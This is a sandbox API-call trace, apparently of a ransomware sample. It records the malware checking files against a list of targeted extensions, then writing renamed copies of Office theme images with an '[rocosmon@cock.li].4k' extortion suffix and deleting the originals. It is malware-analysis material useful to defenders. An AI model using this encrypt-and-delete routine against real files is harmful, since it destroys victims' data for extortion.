	[0104.838] lstrlenW (lpString=".7z") returned 3
	[0104.838] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0104.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.838] lstrlenW (lpString=".dbf") returned 4
	[0104.838] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0104.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.839] lstrlenW (lpString=".1cd") returned 4
	[0104.839] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0104.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.839] lstrlenW (lpString=".jpg") returned 4
	[0104.839] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0104.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.839] lstrlenW (lpString=".doc") returned 4
	[0104.839] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0104.839] lstrlenW (lpString=".docx") returned 5
	[0104.839] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0104.839] lstrlenW (lpString=".pdf") returned 4
	[0104.839] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0104.839] lstrlenW (lpString=".xls") returned 4
	[0104.839] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0104.839] lstrlenW (lpString=".xlsx") returned 5
	[0104.839] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0104.839] lstrlenW (lpString=".ppt") returned 4
	[0104.839] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0104.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.839] lstrlenW (lpString=".zip") returned 4
	[0104.839] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0104.839] lstrlenW (lpString=".rar") returned 4
	[0104.839] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0104.839] lstrlenW (lpString=".bz2") returned 4
	[0104.839] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0104.839] lstrlenW (lpString=".7z") returned 3
	[0104.839] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0104.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.839] lstrlenW (lpString=".dbf") returned 4
	[0104.839] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0104.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.840] lstrlenW (lpString=".1cd") returned 4
	[0104.840] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0104.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73
	[0104.840] lstrlenW (lpString=".jpg") returned 4
	[0104.840] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0104.840] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0104.840] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0104.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0104.984] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1347) returned 1
	[0104.984] CloseHandle (hObject=0x1d0) returned 1
	[0104.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20
	[0104.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0104.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0104.984] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.984] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0104.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.074] GetLastError () returned 0x0
	[0105.074] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x543, lpOverlapped=0x0) returned 1
	[0105.119] WriteFile (in: hFile=0x1d8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0105.120] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.120] WriteFile (in: hFile=0x1d8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.120] SetEndOfFile (hFile=0x1d8) returned 1
	[0105.120] CloseHandle (hObject=0x1d8) returned 1
	[0105.121] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.121] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.122] CloseHandle (hObject=0x1d0) returned 1
	[0105.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.122] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1
	[0105.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.122] lstrlenW (lpString=".doc") returned 4
	[0105.122] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.122] lstrlenW (lpString=".docx") returned 5
	[0105.122] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.122] lstrlenW (lpString=".pdf") returned 4
	[0105.122] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.122] lstrlenW (lpString=".xls") returned 4
	[0105.123] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.123] lstrlenW (lpString=".xlsx") returned 5
	[0105.123] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.123] lstrlenW (lpString=".ppt") returned 4
	[0105.123] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.123] lstrlenW (lpString=".zip") returned 4
	[0105.123] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.123] lstrlenW (lpString=".rar") returned 4
	[0105.123] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.123] lstrlenW (lpString=".bz2") returned 4
	[0105.123] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.123] lstrlenW (lpString=".7z") returned 3
	[0105.123] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.123] lstrlenW (lpString=".dbf") returned 4
	[0105.123] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.123] lstrlenW (lpString=".1cd") returned 4
	[0105.123] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.123] lstrlenW (lpString=".jpg") returned 4
	[0105.123] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.123] lstrlenW (lpString=".doc") returned 4
	[0105.124] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.124] lstrlenW (lpString=".docx") returned 5
	[0105.124] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.124] lstrlenW (lpString=".pdf") returned 4
	[0105.124] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.124] lstrlenW (lpString=".xls") returned 4
	[0105.124] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.124] lstrlenW (lpString=".xlsx") returned 5
	[0105.124] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.124] lstrlenW (lpString=".ppt") returned 4
	[0105.124] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.124] lstrlenW (lpString=".zip") returned 4
	[0105.124] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.124] lstrlenW (lpString=".rar") returned 4
	[0105.124] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.124] lstrlenW (lpString=".bz2") returned 4
	[0105.124] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.124] lstrlenW (lpString=".7z") returned 3
	[0105.124] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.124] lstrlenW (lpString=".dbf") returned 4
	[0105.124] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.124] lstrlenW (lpString=".1cd") returned 4
	[0105.124] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72
	[0105.124] lstrlenW (lpString=".jpg") returned 4
	[0105.125] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.125] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.125] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.125] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=5120) returned 1
	[0105.125] CloseHandle (hObject=0x1d0) returned 1
	[0105.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20
	[0105.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.126] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.126] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.218] GetLastError () returned 0x0
	[0105.218] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x1400, lpOverlapped=0x0) returned 1
	[0105.353] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1410, lpOverlapped=0x0) returned 1
	[0105.354] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.354] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.354] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.354] CloseHandle (hObject=0x1f8) returned 1
	[0105.354] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.354] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.355] CloseHandle (hObject=0x1d0) returned 1
	[0105.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.355] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1
	[0105.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.356] lstrlenW (lpString=".doc") returned 4
	[0105.356] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.356] lstrlenW (lpString=".docx") returned 5
	[0105.356] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.356] lstrlenW (lpString=".pdf") returned 4
	[0105.356] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.356] lstrlenW (lpString=".xls") returned 4
	[0105.356] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.356] lstrlenW (lpString=".xlsx") returned 5
	[0105.356] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.356] lstrlenW (lpString=".ppt") returned 4
	[0105.356] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.356] lstrlenW (lpString=".zip") returned 4
	[0105.356] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.356] lstrlenW (lpString=".rar") returned 4
	[0105.356] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.356] lstrlenW (lpString=".bz2") returned 4
	[0105.356] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.356] lstrlenW (lpString=".7z") returned 3
	[0105.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.356] lstrlenW (lpString=".dbf") returned 4
	[0105.356] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.356] lstrlenW (lpString=".1cd") returned 4
	[0105.357] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.357] lstrlenW (lpString=".jpg") returned 4
	[0105.357] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.357] lstrlenW (lpString=".doc") returned 4
	[0105.357] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.357] lstrlenW (lpString=".docx") returned 5
	[0105.357] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.357] lstrlenW (lpString=".pdf") returned 4
	[0105.357] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.357] lstrlenW (lpString=".xls") returned 4
	[0105.357] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.357] lstrlenW (lpString=".xlsx") returned 5
	[0105.357] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.357] lstrlenW (lpString=".ppt") returned 4
	[0105.357] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.357] lstrlenW (lpString=".zip") returned 4
	[0105.357] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.357] lstrlenW (lpString=".rar") returned 4
	[0105.357] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.357] lstrlenW (lpString=".bz2") returned 4
	[0105.357] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.357] lstrlenW (lpString=".7z") returned 3
	[0105.357] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.357] lstrlenW (lpString=".dbf") returned 4
	[0105.357] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.357] lstrlenW (lpString=".1cd") returned 4
	[0105.357] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76
	[0105.357] lstrlenW (lpString=".jpg") returned 4
	[0105.357] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.358] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.358] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.358] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=33559) returned 1
	[0105.358] CloseHandle (hObject=0x1d0) returned 1
	[0105.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20
	[0105.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.358] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.358] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.359] GetLastError () returned 0x0
	[0105.359] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x8317, lpOverlapped=0x0) returned 1
	[0105.413] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x8320, lpOverlapped=0x0) returned 1
	[0105.415] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.415] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.415] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.415] CloseHandle (hObject=0x1f8) returned 1
	[0105.415] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.415] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.416] CloseHandle (hObject=0x1d0) returned 1
	[0105.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.416] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1
	[0105.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.417] lstrlenW (lpString=".doc") returned 4
	[0105.417] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.417] lstrlenW (lpString=".docx") returned 5
	[0105.417] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.417] lstrlenW (lpString=".pdf") returned 4
	[0105.417] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.417] lstrlenW (lpString=".xls") returned 4
	[0105.417] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.417] lstrlenW (lpString=".xlsx") returned 5
	[0105.417] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
